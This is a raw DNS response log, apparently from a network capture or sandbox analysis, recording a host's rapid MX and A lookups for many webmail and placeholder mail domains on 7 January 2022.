Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.650650024 CET	8.8.8.8	192.168.2.3	0x46cd	Server failure (2)	msn-com.olc.protection.outlook.com	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.358232975 CET	8.8.8.8	192.168.2.3	0xaeb7	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.378563881 CET	8.8.8.8	192.168.2.3	0xcfed	No error (0)	msn-com.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.378563881 CET	8.8.8.8	192.168.2.3	0xcfed	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.529910088 CET	8.8.8.8	192.168.2.3	0xc9f	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.550645113 CET	8.8.8.8	192.168.2.3	0xc4ea	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.550645113 CET	8.8.8.8	192.168.2.3	0xc4ea	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.686228037 CET	8.8.8.8	192.168.2.3	0x46cd	Server failure (2)	msn-com.olc.protection.outlook.com	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:33.933789015 CET	8.8.8.8	192.168.2.3	0x2a2e	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:33.952656031 CET	8.8.8.8	192.168.2.3	0x6cfb	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:34.269669056 CET	8.8.8.8	192.168.2.3	0x24c0	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:34.290283918 CET	8.8.8.8	192.168.2.3	0x638	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.234709024 CET	8.8.8.8	192.168.2.3	0x3906	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:35.269233942 CET	8.8.8.8	192.168.2.3	0x8a7f	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:36.393831968 CET	8.8.8.8	192.168.2.3	0xe075	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:36.393831968 CET	8.8.8.8	192.168.2.3	0xe075	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:36.436078072 CET	8.8.8.8	192.168.2.3	0xd680	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:36.510974884 CET	8.8.8.8	192.168.2.3	0x23cb	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:45.913027048 CET	8.8.8.8	192.168.2.3	0x2b82	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:45.913027048 CET	8.8.8.8	192.168.2.3	0x2b82	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:46.089987993 CET	8.8.8.8	192.168.2.3	0x71cd	No error (0)	mxa-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:46.265572071 CET	8.8.8.8	192.168.2.3	0x8858	No error (0)	mxb-0028be01.gslb.pphosted.com		148.163.152.255	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:47.385431051 CET	8.8.8.8	192.168.2.3	0x5f1c	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:49.732938051 CET	8.8.8.8	192.168.2.3	0x1044	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:49.732938051 CET	8.8.8.8	192.168.2.3	0x1044	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:49.752577066 CET	8.8.8.8	192.168.2.3	0x8782	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:49.752577066 CET	8.8.8.8	192.168.2.3	0x8782	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:49.777112961 CET	8.8.8.8	192.168.2.3	0x33c3	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:49.777112961 CET	8.8.8.8	192.168.2.3	0x33c3	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:50.657018900 CET	8.8.8.8	192.168.2.3	0x320e	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:50.677973986 CET	8.8.8.8	192.168.2.3	0x21d2	No error (0)	msn-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:50.677973986 CET	8.8.8.8	192.168.2.3	0x21d2	No error (0)	msn-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:52.410238981 CET	8.8.8.8	192.168.2.3	0xd083	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:52.788805962 CET	8.8.8.8	192.168.2.3	0xf8d2	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:52.809216976 CET	8.8.8.8	192.168.2.3	0xbc9a	No error (0)	msn-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:52.809216976 CET	8.8.8.8	192.168.2.3	0xbc9a	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:54.911860943 CET	8.8.8.8	192.168.2.3	0x20c3	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:54.935338020 CET	8.8.8.8	192.168.2.3	0x8325	No error (0)	msn-com.olc.protection.outlook.com		104.47.22.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:54.935338020 CET	8.8.8.8	192.168.2.3	0x8325	No error (0)	msn-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:56.363048077 CET	8.8.8.8	192.168.2.3	0x8b71	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:56.406378984 CET	8.8.8.8	192.168.2.3	0x9335	No error (0)	msn-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:56.406378984 CET	8.8.8.8	192.168.2.3	0x9335	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.169236898 CET	8.8.8.8	192.168.2.3	0xff1f	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.190134048 CET	8.8.8.8	192.168.2.3	0x516d	No error (0)	msn-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.190134048 CET	8.8.8.8	192.168.2.3	0x516d	No error (0)	msn-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.350410938 CET	8.8.8.8	192.168.2.3	0x85c6	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.371815920 CET	8.8.8.8	192.168.2.3	0xdc2b	No error (0)	msn-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.371815920 CET	8.8.8.8	192.168.2.3	0xdc2b	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.960906982 CET	8.8.8.8	192.168.2.3	0x8256	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:58.980756044 CET	8.8.8.8	192.168.2.3	0x3d60	No error (0)	msn-com.olc.protection.outlook.com		104.47.59.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:58.980756044 CET	8.8.8.8	192.168.2.3	0x3d60	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:59.189078093 CET	8.8.8.8	192.168.2.3	0x1b	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:01.820652962 CET	8.8.8.8	192.168.2.3	0xbdb1	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:01.846229076 CET	8.8.8.8	192.168.2.3	0xad0b	No error (0)	msn-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:01.846229076 CET	8.8.8.8	192.168.2.3	0xad0b	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:08.851969004 CET	8.8.8.8	192.168.2.3	0x602a	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:08.877162933 CET	8.8.8.8	192.168.2.3	0x685d	No error (0)	msn-com.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:08.877162933 CET	8.8.8.8	192.168.2.3	0x685d	No error (0)	msn-com.olc.protection.outlook.com		104.47.12.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:10.426006079 CET	8.8.8.8	192.168.2.3	0x3c3b	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:10.449780941 CET	8.8.8.8	192.168.2.3	0xfd09	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:10.449780941 CET	8.8.8.8	192.168.2.3	0xfd09	No error (0)	msn-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.098797083 CET	8.8.8.8	192.168.2.3	0x54ad	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:11.119024038 CET	8.8.8.8	192.168.2.3	0xe1fb	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.119024038 CET	8.8.8.8	192.168.2.3	0xe1fb	No error (0)	msn-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.297838926 CET	8.8.8.8	192.168.2.3	0x53f3	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:11.322776079 CET	8.8.8.8	192.168.2.3	0x69b2	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:11.322776079 CET	8.8.8.8	192.168.2.3	0x69b2	No error (0)	msn-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:12.007886887 CET	8.8.8.8	192.168.2.3	0xbc3c	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:12.028907061 CET	8.8.8.8	192.168.2.3	0xe1cc	No error (0)	msn-com.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:12.028907061 CET	8.8.8.8	192.168.2.3	0xe1cc	No error (0)	msn-com.olc.protection.outlook.com		104.47.12.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.336982012 CET	8.8.8.8	192.168.2.3	0x698d	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:13.356065989 CET	8.8.8.8	192.168.2.3	0x85a4	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:16.411497116 CET	8.8.8.8	192.168.2.3	0x5542	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:16.431469917 CET	8.8.8.8	192.168.2.3	0x7379	No error (0)	msn-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:16.431469917 CET	8.8.8.8	192.168.2.3	0x7379	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:17.292546988 CET	8.8.8.8	192.168.2.3	0x4bec	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:17.564475060 CET	8.8.8.8	192.168.2.3	0x9025	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:17.586791992 CET	8.8.8.8	192.168.2.3	0xa840	No error (0)	msn-com.olc.protection.outlook.com		104.47.59.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:17.586791992 CET	8.8.8.8	192.168.2.3	0xa840	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:18.631238937 CET	8.8.8.8	192.168.2.3	0x47bf	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:18.651943922 CET	8.8.8.8	192.168.2.3	0xea57	No error (0)	msn-com.olc.protection.outlook.com		104.47.59.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:18.651943922 CET	8.8.8.8	192.168.2.3	0xea57	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:19.918751955 CET	8.8.8.8	192.168.2.3	0x4b93	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.918751955 CET	8.8.8.8	192.168.2.3	0x4b93	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.918751955 CET	8.8.8.8	192.168.2.3	0x4b93	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.918751955 CET	8.8.8.8	192.168.2.3	0x4b93	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.918751955 CET	8.8.8.8	192.168.2.3	0x4b93	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:19.945871115 CET	8.8.8.8	192.168.2.3	0x2f24	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:19.978796005 CET	8.8.8.8	192.168.2.3	0x6a55	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.001573086 CET	8.8.8.8	192.168.2.3	0x7d50	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.023235083 CET	8.8.8.8	192.168.2.3	0x99bb	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.044996977 CET	8.8.8.8	192.168.2.3	0x3ee4	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.293581963 CET	8.8.8.8	192.168.2.3	0xe5fc	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:20.313024998 CET	8.8.8.8	192.168.2.3	0x116a	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.313024998 CET	8.8.8.8	192.168.2.3	0x116a	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:20.662607908 CET	8.8.8.8	192.168.2.3	0xad64	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.580288887 CET	8.8.8.8	192.168.2.3	0xb0b7	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.754961967 CET	8.8.8.8	192.168.2.3	0x5b6e	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:22.773677111 CET	8.8.8.8	192.168.2.3	0x18e	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.965425968 CET	8.8.8.8	192.168.2.3	0xc637	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:23.987670898 CET	8.8.8.8	192.168.2.3	0xa385	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.530036926 CET	8.8.8.8	192.168.2.3	0xdd48	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.530036926 CET	8.8.8.8	192.168.2.3	0xdd48	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.551948071 CET	8.8.8.8	192.168.2.3	0x4197	No error (0)	mx2.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.551948071 CET	8.8.8.8	192.168.2.3	0x4197	No error (0)	mx2.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.575414896 CET	8.8.8.8	192.168.2.3	0xa16b	No error (0)	mx1.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.575414896 CET	8.8.8.8	192.168.2.3	0xa16b	No error (0)	mx1.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.714266062 CET	8.8.8.8	192.168.2.3	0xfd35	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.714266062 CET	8.8.8.8	192.168.2.3	0xfd35	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:34.833767891 CET	8.8.8.8	192.168.2.3	0xca0f	No error (0)	mxa-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:34.992263079 CET	8.8.8.8	192.168.2.3	0x7fc3	No error (0)	mxb-0028be01.gslb.pphosted.com		148.163.152.255	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:36.963028908 CET	8.8.8.8	192.168.2.3	0xca5c	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:39.768188000 CET	8.8.8.8	192.168.2.3	0xe872	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:42.344763994 CET	8.8.8.8	192.168.2.3	0x6f03	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.593278885 CET	8.8.8.8	192.168.2.3	0x4490	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.594683886 CET	8.8.8.8	192.168.2.3	0xa029	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.595896959 CET	8.8.8.8	192.168.2.3	0x6a1a	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601077080 CET	8.8.8.8	192.168.2.3	0x9305	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601473093 CET	8.8.8.8	192.168.2.3	0xb605	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601473093 CET	8.8.8.8	192.168.2.3	0xb605	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601473093 CET	8.8.8.8	192.168.2.3	0xb605	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601473093 CET	8.8.8.8	192.168.2.3	0xb605	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.601473093 CET	8.8.8.8	192.168.2.3	0xb605	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.604130030 CET	8.8.8.8	192.168.2.3	0xabc1	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.612633944 CET	8.8.8.8	192.168.2.3	0x2d98	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.612633944 CET	8.8.8.8	192.168.2.3	0x2d98	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.620803118 CET	8.8.8.8	192.168.2.3	0x4b6	No error (0)	aspmx.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.632317066 CET	8.8.8.8	192.168.2.3	0xb211	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.634936094 CET	8.8.8.8	192.168.2.3	0xf60b	Name error (3)	griepp.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.635096073 CET	8.8.8.8	192.168.2.3	0x3c45	No error (0)	oopp.pl			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.636035919 CET	8.8.8.8	192.168.2.3	0xd86b	No error (0)	mx2.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.636035919 CET	8.8.8.8	192.168.2.3	0xd86b	No error (0)	mx2.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.639782906 CET	8.8.8.8	192.168.2.3	0xe225	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.647233963 CET	8.8.8.8	192.168.2.3	0x9f47	Name error (3)	x.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.657088041 CET	8.8.8.8	192.168.2.3	0xea8e	No error (0)	mx1.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.657088041 CET	8.8.8.8	192.168.2.3	0xea8e	No error (0)	mx1.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.660630941 CET	8.8.8.8	192.168.2.3	0x5465	Name error (3)	wewew.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.661433935 CET	8.8.8.8	192.168.2.3	0x8bd4	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.665987968 CET	8.8.8.8	192.168.2.3	0x9bf1	Name error (3)	riekk.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.666018963 CET	8.8.8.8	192.168.2.3	0xd481	Name error (3)	fafa.pk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.688961029 CET	8.8.8.8	192.168.2.3	0x50cf	Name error (3)	lufka.zx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.688997984 CET	8.8.8.8	192.168.2.3	0xe5bd	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.689016104 CET	8.8.8.8	192.168.2.3	0xda42	No error (0)	oopp.pl		94.152.34.135	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.690484047 CET	8.8.8.8	192.168.2.3	0x5100	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.692150116 CET	8.8.8.8	192.168.2.3	0x116d	Name error (3)	fajrant.qz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.692214012 CET	8.8.8.8	192.168.2.3	0x621b	Name error (3)	fanfary.pq	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.706502914 CET	8.8.8.8	192.168.2.3	0x90c2	Server failure (2)	xara.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.717070103 CET	8.8.8.8	192.168.2.3	0x9ced	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
